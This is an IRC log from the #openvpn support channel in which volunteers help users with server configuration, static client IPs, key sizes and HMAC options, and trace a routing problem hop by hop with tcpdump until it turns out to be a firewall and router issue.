12:57 -!- kubbing [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has joined #openvpn
12:58 <@krzee> route 10.56.1.0 255.255.255.255   <--- if you really want 255.255.255.255 then you probably dont want .0
12:59 <+pekster> At least not with a tap :)
12:59 <@krzee> since 255.255.255.255 points to a single host, and 10.56.1.0 is not likely a host
13:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
13:01 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:01 < piece3> ok
13:01 < piece3> There shouldn't be another instance runnig as this is the first server I've setup
13:07 < piece3> !ipp
13:07 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
13:07 < piece3> !duplicat-cn
13:07 < piece3> !duplicate-cn
13:07 <+pekster> !learn duplicate-cn as [dupe]
13:07 <@vpnHelper> Joo got it.
13:08 <+pekster> !dupe
13:08 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
13:10 < piece3> thanks pekster and krzee for the assistance, a general question, if these 4 servers are clients to themselves to create a mesh/star redundant configuration, should they share keys or should each server have a unique set of keys fo each client?
13:10 < piece3> The difference would be 4 key pairs to 16
13:10 <@krzee> up to you
13:11 <@krzee> im just curious if that is all going to work how you think
13:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:11 <@krzee> iver never put multiple bridges to the same network in the same network...
13:12 <@krzee> but i guess its for you to figure out!
13:12 <@ecrist> you can do that
13:12 <@ecrist> but, it requires properly configured and supported STP or RSTP
13:13 <@krzee> in his case or in what i said?
13:13 <@krzee> his case is 4 tap servers meshed to eachother by being clients of eachother
13:13 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
13:13 <+pekster> Right, and normally bridges forward broadcast traffic to all ports, which creates a wonderful loop unless you have STP involved
13:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:15 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
13:16 < piece3> I see  the issue
13:17 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:18 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
13:21 < calcifea> any doc about how to set ip assigned automatically by the certificate CN?
13:22 <@krzee> !static
13:22 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:22 <@krzee> !ccd
13:22 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
13:22 <@krzee> calcifea, ^
13:23 < calcifea> nice, thanks
13:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:26 <@krzee> np
13:28 < piece3> !server
13:29 < piece3> !ifconfig
13:29 <@vpnHelper> "ifconfig" is usage: ifconfig l rn | Set TUN/TAP adapter parameters. l is the IP address of the local VPN endpoint. For TUN devices, rn is the IP address of the remote VPN endpoint. For TAP devices, rn is the subnet mask of the virtual ethernet segment which is being created or connected to.
13:29 <@krzee> !man
13:29 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:29 <@krzee> see --server in the manual
13:30 <@krzee> then see that it is a helper directive that already includes its own ifconfig
13:30 < calcifea> i think it's a little bit off-topic but.. where i can find the raccomanded rsa key size?
13:30 <@krzee> 2048 or 4096, up to you
13:31 <@krzee> i go with 4096
13:31 < calcifea> does it hit performance?
13:31 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
13:31 <@krzee> only matters once per hour
13:31 <@krzee> so not especially
13:31 < calcifea> i see
13:31 < calcifea> 4096 is the max actually, right? working with openvpn
13:31 <@krzee> no, but i would not go higher
13:32 <@krzee> unless you know that everything is ok with bigger keysize
13:32 < calcifea> are you sure? i thought higher keys are not actually default builded in
13:32 <@krzee> i try to stay within what the experts look at
13:32 <@krzee> no, im not sure, feel free to test instead of ask
13:33 <@krzee> and really it is openssl (or polarssl) that would need to support the bigger keysize, i dont think its really openvpn's business
13:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:33 < piece3> krzee: chhers, now I see, however I removed line 11 (server 10.56.1.0 255.255.255.0) but the server failed to start
13:34 <@krzee> read --server a few more times
13:34 <@krzee> hehe
13:34 < calcifea> krzee: i think the hash used to auth it's more expensive.. do you use anything other then sha1 default? :p
13:35 <@krzee> pekster, did you make a factoid for that?
13:35 < calcifea> actually i have sha256
13:35 -!- Devastator [~devas@186.214.15.39] has joined #openvpn
13:35 <@krzee> !factoids search tls
13:35 <@vpnHelper> 'tls-cipher' and 'tls-auth'
13:35 <@krzee> !tls-cipher
13:35 <@vpnHelper> "tls-cipher" is http://sourceforge.net/mailarchive/forum.php?thread_name=48B01B33.6030806%40usa.net&forum_name=openvpn-users
13:35 <@krzee> nice, you did :D
13:35 < calcifea> it's just auth :p
13:35 < calcifea> !factoids search auth
13:35 <@vpnHelper> 'authpass', 'tls-auth', and 'googleauth'
13:36 <@krzee> umm, what?
13:36 < calcifea> the directive is just 'auth'
13:36 < calcifea> in the config
13:36 < calcifea> it's not tls-auth
13:36 <@krzee> ohh
13:36 <@krzee> thats just for tls-auth though
13:37 <@krzee> for HMAC stuff
13:37 <@krzee> !hmac
13:37 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make
13:37 <@vpnHelper> the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
13:37 < calcifea> yes this one
13:37 < calcifea> i think it's expensive
13:37 <@krzee> then dont use tls-auth
13:37 <@krzee> if you're concerned about it.
13:37 <+pekster> It's only for TLS channel traffic anyway
13:37 <@krzee> note, tls-auth stops layer7 dos attacks
13:38 <+pekster> That's not in the flow of normal data across the link, so I'm not so sure your definition of expensive matches mine here
13:38 < piece3> krzee: Ah, yes many things to change if not running server
13:38 < piece3> :0
13:38 < calcifea> pekster: i see
13:39 <+pekster> The data channel _already_ has an HMAC (that's the point of the --auth selection) and not using one would require you to drop all encryption completely
13:39 < calcifea> wait
13:39 < calcifea> so --auth is expensive
13:39 < calcifea> i see somewhere using sha512
13:39 <+pekster> Not really, no
13:39 < calcifea> (it looks heavly)
13:39 <+pekster> The bulk of the CPU-crunching is encryption
13:40 <+pekster> If that's a big concern to you, either buy better hardware and/or ensure you are AES-NI supported
13:40 < calcifea> uhm
13:40 <@krzee> calcifea, if you want to understand what is "expensive" try testing stuff!
13:40 < calcifea> i run openvpn on a raspberrypi
13:40 <@krzee> you know, instead of guessing
13:42 <+pekster> Then stop worrying about leet performance; you're not gunna get it no matter what you do there
13:46 < pwrcycle> anyone have a good link on user-auth using Cisco ACS
13:46 < SupaYoshi> krzee
13:46 < SupaYoshi> hi pekster
13:46 <@krzee> pwrcycle, nope, you'll need to write a script i bet
13:46 <@krzee> SupaYoshi
13:47 <+pekster> With 64-byte blocks, sha512 on my rather dated Celeron 2.26 GHz platform can manage 26G/s processing. Is that not fast enough for you?
13:47 < SupaYoshi> i was reviewing my last issue yesterday with friedchicken, and we couldnt figure it out. I did the TCPDUMP and Wireshark things
13:47 < SupaYoshi> and I found the packets, but I aint sure where it is going wrong and so did Friedchicken know
13:47 < pwrcycle> krzee: any links on how to write a script?
13:47 <@krzee> pwrcycle, if you dont know any programming or scripting languages, then no
13:48 < SupaYoshi> I have results of the TCPdump and wireshark, and route information from the pcs
13:48 <@krzee> if you do, then:
13:48 <@krzee> !script
13:48 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
13:48 < SupaYoshi> But still, packets from clients to lan connected devices are not delivered
13:48 < SupaYoshi> Though that packets from lan connected devices are delivered on vpn clients.
13:49 <@krzee> sounds like a firewall issue
13:49 < SupaYoshi> so we thought it was an issue with the server, and server.conf, because the packets seem to end there
13:49 <@krzee> sounds like a firewall issue on the server
13:49 < SupaYoshi> Yeah but iptables-save prints nothing
13:49 < SupaYoshi> So i have nothing set on the ubuntu box.
13:49 < SupaYoshi> So i dont understand exactly why it is behaving like that
13:50 < pwrcycle> SupaYoshi: what version OS are you using?
13:50 <@krzee> add this to your config and see if it helps:
13:50 <@krzee> client-to-client
13:50 < SupaYoshi> Ubuntu 12.04 LTS
13:50 <+pekster> krzee: IIRC this is a server-LAN setup
13:50 <+pekster> Though you're doing an awful job of explaining the problem
13:50 <@krzee> oh
13:50 <+pekster> And your information is way off SupaYoshi; you _do_ have a firewall problem
13:50 <+pekster> If you have the right traces & captures, it will be obvious where the fault is
13:50 < SupaYoshi> pekster, thanks. ><
13:51 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#symptoms
13:51 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
13:51 < SupaYoshi> okay wait i will redo the traces and give the links, beause I cant figure it out..
13:51 <+pekster> Less assuming, more useful explaining
13:51 < SupaYoshi> Sorry pekster hold on.
13:51 <@krzee> SupaYoshi, are you trying to make your vpn clients reach your server lan?
13:51 < SupaYoshi> yes. they can reach the server router, they can reach the server normal Ip address
13:51 <@krzee> !serverlan
13:51 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
13:51 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
13:51 < SupaYoshi> but they cannot access the server lan attachted devices.
13:52 < SupaYoshi> So i added the route to the router as that flowchart tells me
13:52 <@krzee> use the flowchart, do not remember past tests but test everything new now
13:52 < SupaYoshi> but still the packets go wrong.
13:52 < SupaYoshi> Yes i know.
13:52 -!- kubbing [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
13:52 < SupaYoshi> I have added the static route to the router, but still i have the issue. But I can PING and send packets from my server LAN pcs to my VPN clients.
13:52 < SupaYoshi> it is just the other way around that does not want to work.
13:52 <+pekster> Right. Routing is fine, but your firewalls aren't
13:52 < SupaYoshi> Hold on I am getting the traces for you
13:52 <+pekster> (that, or you left NAT in there when you shouldn't have)
13:54 -!- AginLap [~AginLap@109.201.154.153] has joined #openvpn
13:54 < SupaYoshi> http://prntscr.com/245bgz
13:54 <@krzee> yep, if the info you gave was all true then it is exactly as pekster says
13:54 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
13:54 < piece3> krzee: pekster Thanks for your help, after reading the way through the manual agian, I definately do want to use server and not p2p, I'm happy with my setup and understand that you can't change the ip of a server in server mode
13:55 <@krzee> piece3, sure you can, you just need to recreate --server manually
13:55 < SupaYoshi> http://paste.ubuntu.com/6417593/
13:55 <@krzee> you can use all the options --server uses differently than --server uses them, --server is simply to make life easier
13:56 < piece3> krzee: Ah I see
13:56 < SupaYoshi> pekster, what nat do you mean?
13:56 -!- AginLap [~AginLap@109.201.154.153] has quit [Client Quit]
13:56 < SupaYoshi> I have NAT on my openwrt router. :)
13:56 <+pekster> Taken out of context I have no clue what any of that info means
13:57 <@krzee> im thinking theres a broken NAT
13:57 <@krzee> cause wtf is 192.168.2.1?
13:57 < SupaYoshi> okay
13:57 < SupaYoshi> well i will explain
13:57 < SupaYoshi> hold on
13:57 <+pekster> I told you very clearly what you needed to do last time: you need to trace _each_ hop the packet takes and find the host that takes in the packet and doesn't forward it correctly
13:57 <+pekster> I don't really want an explanation; I want an answer from what I told you to do last time
13:57 <@krzee> yes, do THAT
13:57 <@krzee> THAT is the single easiest way to see where it dies
13:57 <+pekster> The packet stops _somewhere_ .. I spend enough time with you before that you should now be equipped to get that answer for yourself
13:57 <@krzee> and there we will find a firewall problem
13:58 < SupaYoshi> I understand i understand!
13:59 < SupaYoshi> I done the trace from my PC (10.15.1.110) and the packets seem to be captured by 192.168.2.1 (which is the IP my router gets from my modem) I cannot do the trace from there, because that modem cannot be accessed through SSH or anything.
13:59 < SupaYoshi> Otherwise I would have done the trace from somewhere else, Also I done it from the router!
13:59 <@krzee> SupaYoshi, show us the firewall / NAT on that router
13:59 <@krzee> oh wait no
14:00 <@krzee> screw that
14:00 <@krzee> heres what we will do
14:00 <@krzee> we are going to make a route on the lan machine to bypass the router
14:00 <@krzee> then we will test and be sure the problem is or is not the router
14:00 < SupaYoshi> I done that yesterday with friedchicken yeah.
14:00 <@krzee> well good then do it again
14:00 < SupaYoshi> Directly to the openvpn server! :D
14:00 < SupaYoshi> Sure!
14:00 < SupaYoshi> hold on.
14:00 <@krzee> and then do the sniffing test again
14:01 < SupaYoshi> aye aye
14:03 <@krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:06 < SupaYoshi> http://paste.ubuntu.com/6417648/
14:06 < SupaYoshi> There.
14:06 < SupaYoshi> Okay sorry ill start doing the others now too.
14:07 <@krzee> seriously? you're using traceroute?
14:07 < SupaYoshi> =/
14:07 < SupaYoshi> Im gonna sniff now! Hold on, im doing my best :(
14:07 <@krzee> you need to trace the packets, like you're doing with wireshark
14:07 < SupaYoshi> Yeah i realise that, hold on looking it up
14:08 <@krzee> tcpdump -s0 -i <interface> icmp
14:08 <@krzee> proto icmp
14:09 <@krzee> err without proto, like first try
14:09 < SupaYoshi> thnx hold up :) thnx so much!
14:10 <@krzee> here is the overview:
14:10 <@krzee> you are going to sniff EVERY interface involved
14:10 <@krzee> then you will send a copuple ping packets
14:11 <@krzee> then you will see the packets leave the client, pass through each interface on its way to the lan machine, leave the lan machine as a response, and pass each interface on its way back to the client
14:11 <@krzee> somewhere it stops, or maybe even changes, and you want to know where
14:11 < SupaYoshi> Okay
14:12 < SupaYoshi> So i do this both ways?
14:12 <@krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:12 < SupaYoshi> From client to lan? and lan to client?
14:12 < SupaYoshi> I understand!
14:12 <+pekster> krzee: We have this, because almost alawysa users want -p, and probably -n:
14:12 <+pekster> !tcpdump
14:12 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
14:12 < SupaYoshi> Also on the router?
14:12 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
14:12 <+pekster> Not using -p is a really (really!) bad habbit that will take down production boxes if omitted carelessly
14:12 < SupaYoshi> okay!
14:12 < SupaYoshi> what does the p stand for?
14:13 <@krzee> ohhhh good point pekster
14:13 <+pekster> I bet `man tcpdump` knows
14:13 < SupaYoshi> -goes read-
14:13 <+pekster> Oddly enough, !tcpdump suggested that too
14:13 <@krzee> and thanks, i think you showed me that factoid before, and i like it, forgot about it
14:13 < SupaYoshi> Don't convert addresses (i.e., host addresses, port numbers, etc.) to names.
14:13 <+pekster> krzee: Just mentally think `tcpdump -pni` to start your command. I often tack on -v when used locally, but that depends on how much spam you want to the tty
14:14 <@krzee> i usually use -w and look at it locally in wireshark :D
14:14 <+pekster> SupaYoshi: No, that's -n. We were talking -p. Realistically you always want both
14:14 <@krzee> the gui is so nice for packet dumps
14:14 <@krzee> right click, view session is <3
14:14 <+pekster> krzee: -p impacts how much tcpdump will fuck with your interface
14:14 <+pekster> It has _nothing_ to do with the pcap
14:14 <+pekster> (well, not directly)
14:14 < SupaYoshi> i think the p stands for pekster -goes read-
14:14 <@krzee> ya i saw in the manpage after you mentioned it, good to know
14:15 <+pekster> Droping production routers in to promisc mode unintentionally is a recipe for disaster
14:15 < SupaYoshi> Don't put the interface into promiscuous mode.  Note that the interface might be in promiscuous mode for some other reason;
14:15 < SupaYoshi> hence, `-p' cannot be used as an abbreviation for `ether host {local-hw-addr} or ether broadcast
14:15 <@krzee> -v and -n wont matter for my -w though
14:16 <@krzee> SupaYoshi, you wont need promiscuous mode for normal layer3 troubleshooting
14:16 < SupaYoshi> got ya!
14:16 <@ecrist> the man page is the first place to look
14:16 < SupaYoshi> so im doing this tcpdumping on every device?
14:16 <@krzee> i said it twice
14:16 < SupaYoshi> nvm! :P
14:16 < SupaYoshi> I just like to talk much
14:17 <@krzee> [12:12]  <krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:17 <@krzee> [12:03]  <krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:17 < SupaYoshi> i know i know :P sorry
14:17 <@krzee> short of sniffing it for you i cant do much more
14:17 <@krzee> :-p
14:18 -!- kossy_ is now known as kossy
14:18 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has quit [Excess Flood]
14:19 -!- [Derek] [~me@djh.pw] has joined #openvpn
14:19 -!- [Derek] [~me@djh.pw] has quit [Changing host]
14:19 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has joined #openvpn
14:19 < SupaYoshi> one question ? I could just open 2 terminals, but how i make the server sniff both its tun and lan interface in 1 command?
14:19 < SupaYoshi> pi@omaxbmc:~$ sudo tcpdump -s0 -i tun0 eth0 -p icmp
14:19 < SupaYoshi> would that do?
14:19 <+pekster> No, you need 2 tcpdumps
14:19 <+pekster> Just do them 1 at a time really
14:19 < SupaYoshi> okay!
14:19 <@krzee> even if you COULD do that, you would not want to
14:20 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:20 < SupaYoshi> why not actually? is it bad?
14:20 <@krzee> because you want to know where it drops!
14:20 < SupaYoshi> sorry i am just trying to learn from ecah suggestion taht you guys offer :P lol
14:20 < SupaYoshi> True! ok
14:20 <@krzee> you know, the entire point of sniffing everything
14:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:21 < SupaYoshi> i did not undersatnd that till just now krzee, i realise it now :) thans
14:22 <@krzee> np
14:23 < SupaYoshi> http://prntscr.com/245kns
14:23 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
14:23 < SupaYoshi> okay so i am sniffing the server lan! the server pc and the openvpn client :D
14:23 < SupaYoshi> that works everyway! :D
14:23 < SupaYoshi> So now the other way around :)
14:23 < SupaYoshi> oh wait no! first I need to sniff tun0 on the server still this side
14:24 <@krzee> i really dont need to see the packet dumps of everything working, and you only have 3 dumps there
14:24 <@krzee> [12:17]  <krzee> [12:12]  <krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:24 <@krzee> thats gunna be my new thing, nesting timestamps on my repeats :D
14:25 < SupaYoshi> Oh yeah ><
14:25 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has quit [Ping timeout: 245 seconds]
14:26 -!- AginLap [~AginLap@109.201.154.182] has joined #openvpn
14:26 <@krzee> !factoids search pete
14:26 <@vpnHelper> No keys matched that query.
14:27 <@ecrist> I need to change that error message
14:27 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has joined #openvpn
14:27 < SupaYoshi> http://paste.ubuntu.com/6417749/ this is the 4th, :) now the other waya round :D
14:27 <@krzee> !learn pete as pete and repeat were on a boat, pete fell off, who was still on the boat?
14:27 <@vpnHelper> Joo got it.
14:27 <@krzee> [12:24]  <krzee> i really dont need to see the packet dumps of everything working,
14:28 < SupaYoshi> ik ik i just wanted to correct my mistake
14:32 -!- d1gital is now known as Guest31337
14:32 < SupaYoshi> these are the first 3, http://prntscr.com/245mzn 1. client tun, 2. server tun, 4. the lan machine http://prntscr.com/245nl7 and this one is from the server lan interface
14:32 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
14:34 < SupaYoshi> what I can see is that every machine sees the packet. but then 192.168.2.1 shows up.
14:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:38 <@krzee> what is 192.168.2.1?
14:38 <@krzee> and wtf, why is there only 3?
14:38 <@krzee> [12:24]  <krzee> [12:17]  <krzee> [12:12]  <krzee> so you are sniffing on the client tun, the server tun, the server lan interface, and the lan machine
14:40 < SupaYoshi> i did!
14:40 <@krzee> both those screenshots show 3
14:41 < SupaYoshi> yeah 3 at the same time,
14:41 <@ecrist> I've done three at the same time.
14:41 < SupaYoshi> you told me to do server lan and server tun on a seperate one
14:41 <@krzee> yes, making it 4
14:41 <@ecrist> right
14:41 <@krzee> 4, not 3
14:41 <@ecrist> yup
14:41 <@ecrist> or 5
14:41 < SupaYoshi> yeah :D on the firt one it is with the server tun.
14:41 < SupaYoshi> on the second one with the server lan.
14:41 <@krzee> no SupaYoshi
14:41 < SupaYoshi> wait let me check
14:42 <@krzee> 4 in the same p0ing
14:42 <@krzee> and in the same screenshot if you want anyone to look
14:42 <@krzee> only pekster has a crystal ball
14:43 < SupaYoshi> yes hold on!
14:43 <@krzee> ecrist might have a crystal somethingelse from the sound of it
14:45 <@EugeneKay> Bong?
14:45 <@krzee> nah thats me
14:45 <@EugeneKay> meth?
14:45 <@ecrist> :D
14:51 < SupaYoshi> http://prntscr.com/245tvk
14:51 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
14:51 < SupaYoshi> There!
14:51 < SupaYoshi> everything in 1 shot
14:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:59 -!- Guest31337 [~d1gital@fsf/member/d1gital] has quit [Quit: Rebooting.  There.  I said it.]
15:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:03 -!- corretico [~luis@190.241.180.58] has joined #openvpn
15:03 -!- corretico_ [~luis@190.241.180.58] has joined #openvpn
15:03 -!- corretico_ [~luis@190.241.180.58] has quit [Client Quit]
15:03 <@ecrist> boats and hos, bitches
15:05 < SupaYoshi> =p
15:05 < SupaYoshi> noone knows? :P
15:05 <@ecrist> I'm on a boat!
15:05 <@ecrist> I'm on a boat!
15:05 < SupaYoshi> http://prntscr.com/245yer this is the setup in a picture
15:05 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
15:05 <@ecrist> Everybody look at me cause I'm sailin on a boat
15:05 < SupaYoshi> XDDDD
15:05 < SupaYoshi> :P pic?
15:06 <@ecrist> no soup for you
15:06 < SupaYoshi> lol
15:07 <+pekster> SupaYoshi: Looks like LAN client is firewalled as it doesn't attempt to send an echo-reply
15:07 <+pekster> Fix that
15:07 < SupaYoshi> Okay, but if i turn off the lan firwall
15:07 < SupaYoshi> it doesnt work still!
15:07 < SupaYoshi> and it even doesnt work to clients like a sipura spa
15:07 < SupaYoshi> that doesnt have a firwall or a raspberry that doesnt have a firewall. ><
15:07 <+pekster> If your Window shot isn't sending an icmp echo-reply but it gets one, clearly it's unwilling to send one back
15:07 < SupaYoshi> but okay hold on
15:08 < SupaYoshi> okay hold on
15:08 <+pekster> ##windows might be useful if you need help with your OS or client firewall
15:08 <+pekster> OpenVPN is "working as intended" since the packet traverses your openvpn server
15:09 < SupaYoshi> bleh =/ its the firewall.
15:09 < SupaYoshi> -.- fuck
15:09 < SupaYoshi> ma widnows pc
15:09 <+pekster> Which is both what I told you yeseterday and in the /TOPIC here
15:11 < SupaYoshi> :(
15:11 < SupaYoshi> so sorry :(
15:13 <@krzee> [11:57]  <krzee> and there we will find a firewall problem
15:13 <@krzee> [11:49]  <krzee> sounds like a firewall issue
15:13 <@krzee> =]
15:14 < SupaYoshi> oh wait!
15:14 < SupaYoshi> It only works with the route added!
15:14 < SupaYoshi> If I remove the route, it doesnt work anymore :)
15:14 < SupaYoshi> BUt im first going to sniff around to see whats the cause of that.
15:14 < SupaYoshi> And then report back to you if i cant find it. thanks so much
15:15 -!- Cubox [cubox@unaffiliated/cubox] has quit [Ping timeout: 241 seconds]
15:15 -!- Cubox` [cubox@unaffiliated/cubox] has joined #openvpn
15:20 <@krzee> then you know the problem
15:20 <@krzee> and do not bother reporting it to us :-p
15:21 <@krzee> your problem is some settings in your router, obviously
15:21 <@krzee> sniffing will not tell you the problem, you should already know the problem
15:21 <@krzee> it works when you bypass the router, but not when you go through the router
15:22 <@krzee> obviously the router is stopping it.
15:24 < SupaYoshi> yeah
15:25 < SupaYoshi> I did it though everything works fine till the packets get here at ma pc :D
15:25 < SupaYoshi> also explains why the linux devices and spa arent working (cant be pinged) even though they dont have a firewall
15:25 < SupaYoshi> I wonder whats wrong with the router then.
15:26 <@krzee> dunno but we're done here, your openvpn setup works as desired
15:27 < SupaYoshi> ty krzee :D
15:27 <@krzee> yw
15:32 -!- CJ_ [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Quit: Leaving]
15:41 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 268 seconds]
15:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:43 -!- michaelhart [~michaelha@192.237.177.15] has quit [Quit: michaelhart]
15:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
15:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:53 -!- shuggans [~shuggans@ucomdsl-209-203-170-50.ucom.net] has joined #openvpn
15:54 < shuggans> Hi all - trying to set up openvpn server in pfsense 2.1 for client access
15:54 < shuggans> I have a l3 core switch performing all lan routing, with pfsense as a perimeter firewall - a subnet between the 2 for WAN connectivity
15:55 < shuggans> I can authenticate and connect, but can't get an IP etc
15:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
15:56 < shuggans> I set up a 10.5.12.0/24 vlan/subnet for VPN clients on the core switch, how do I tell openvpn to put them on that subnet?
15:56 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
15:59 <@krzee> the vpn will have its own subnet
15:59 < shuggans> yes
15:59 <@krzee> !sample
15:59 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
15:59 <@krzee> theres a basic example of a server/client config
16:00 < shuggans> I have followed 3 how-to's today - none are working
16:00 <@krzee> !goal
16:00 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:01 < shuggans> I need to have vpn clients have the same access to network segments they do when here
16:01 < shuggans> I have 13 other vlan/subnets I need them to be able to get to as if they were in building
16:01 <@krzee> so you want clients to access the server lan?
16:02 <@krzee> !serverlan
16:02 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
16:02 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
16:02 <@krzee> get it?
16:03 < shuggans> yes - the client gives me this: Thu Nov 14 15:43:57 2013 OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options
16:03 <@krzee> !configs
16:03 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:04 < shuggans> Does the server need to handle the subnet, or can my l3 switch?
16:04 <@krzee> what do you mean "handle" ?
16:05 < shuggans> Does the subnet have to exist in the server and not the core?  I'm trying to keep all routing of vlans done @ the core and use pfsense as my perimeter firewall/vpn appliance
16:06 <@krzee> subnets dont "exist" on a single device, are you asking if the vpn server needs to handle the addressing in a l3 vpn?
16:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
16:07 < shuggans> I know that - my vlans are created via SVI's in my cisco switch with default gateways of .1 assigned for each - I created a vlan in the core switch with a /24 subnet I would like clients to be thrown onto
16:08 < shuggans> I have a dhcp scope created in my dhcp server in the server subnet to serve IPs to the VPN clients - Am I going about this the wrong/non-standard way?
